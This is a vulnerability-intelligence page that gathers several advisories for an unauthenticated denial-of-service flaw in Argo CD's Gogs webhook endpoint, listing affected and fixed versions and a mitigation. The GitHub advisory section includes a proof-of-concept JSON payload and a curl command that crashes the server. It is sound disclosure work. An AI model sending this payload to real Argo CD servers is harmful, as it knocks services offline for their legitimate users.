argo-cd is vulnerable to unauthenticated DoS attack via malformed Gogs webhook payload

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

Source published

1 Oct 2025 21:01:36 UTC

Source modified

2 Oct 2025 15:54:17 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

Source published

Oct 1, 2025, 9:01:36 PM (timezone not stated)

Source modified

Oct 2, 2025, 3:54:17 PM (timezone not stated)

Observed here

9 Nov 2026 03:15:33 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

Source published

1 Oct 2025 21:16:43 UTC

Source modified

12 Oct 2026 15:10:00 UTC

Observed here

25 Oct 2026 03:17:27 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no `webhook.gogs.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field `commits[].repo` is not set or is null. ### Details Users can access `/api/webhook` without authentication, and when accessing this endpoint, the `Handler` function parses webhook type messages according to the `header (e.g. X-Gogs-Event)` and `body` parameters provided by the user. The `Parse` function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched. The `affectedRevisionInfo` function parses data according to webhook event types(e.g. `gogsclient.PushPayload`). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type. ```go func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) { switch payload := payloadIf.(type) { // ... case gogsclient.PushPayload: webURLs = append(webURLs, payload.Repo.HTMLURL) // bug // ... } return webURLs, revision, change, touchedHead, changedFiles } ``` ### PoC payload-gogs.json ```json { "ref": "refs/heads/master", "before": "0000000000000000000000000000000000000000", "after": "0a05129851238652bf806a400af89fa974ade739", "commits": [{}] } ``` ```shell curl -k -v https://argocd.example.com/api/webhook \ -H 'X-Gogs-Event: push' \ -H 'Content-Type: application/json' \ --data-binary @/tmp/payload-gogs.json ``` An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to `/api/webhook`. ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494] goroutine 302 [running]: github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?}) /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594 github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?}) /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38 github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1() /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60 created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1 /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28 ``` ### Mitigation If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler. If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads. ```diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.gogs.secret: <your base64-encoded secret here> ``` ### For more information * Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) * Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd ### Credit Sangjun Song (s0ngsari) at Theori (theori.io)

Source published

30 Sep 2025 18:28:38 UTC

Source modified

23 Oct 2025 20:22:30 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload in github.com/argoproj/argo-cd

Source published

23 Oct 2025 16:25:09 UTC

Source modified

20 Apr 2026 19:00:14 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.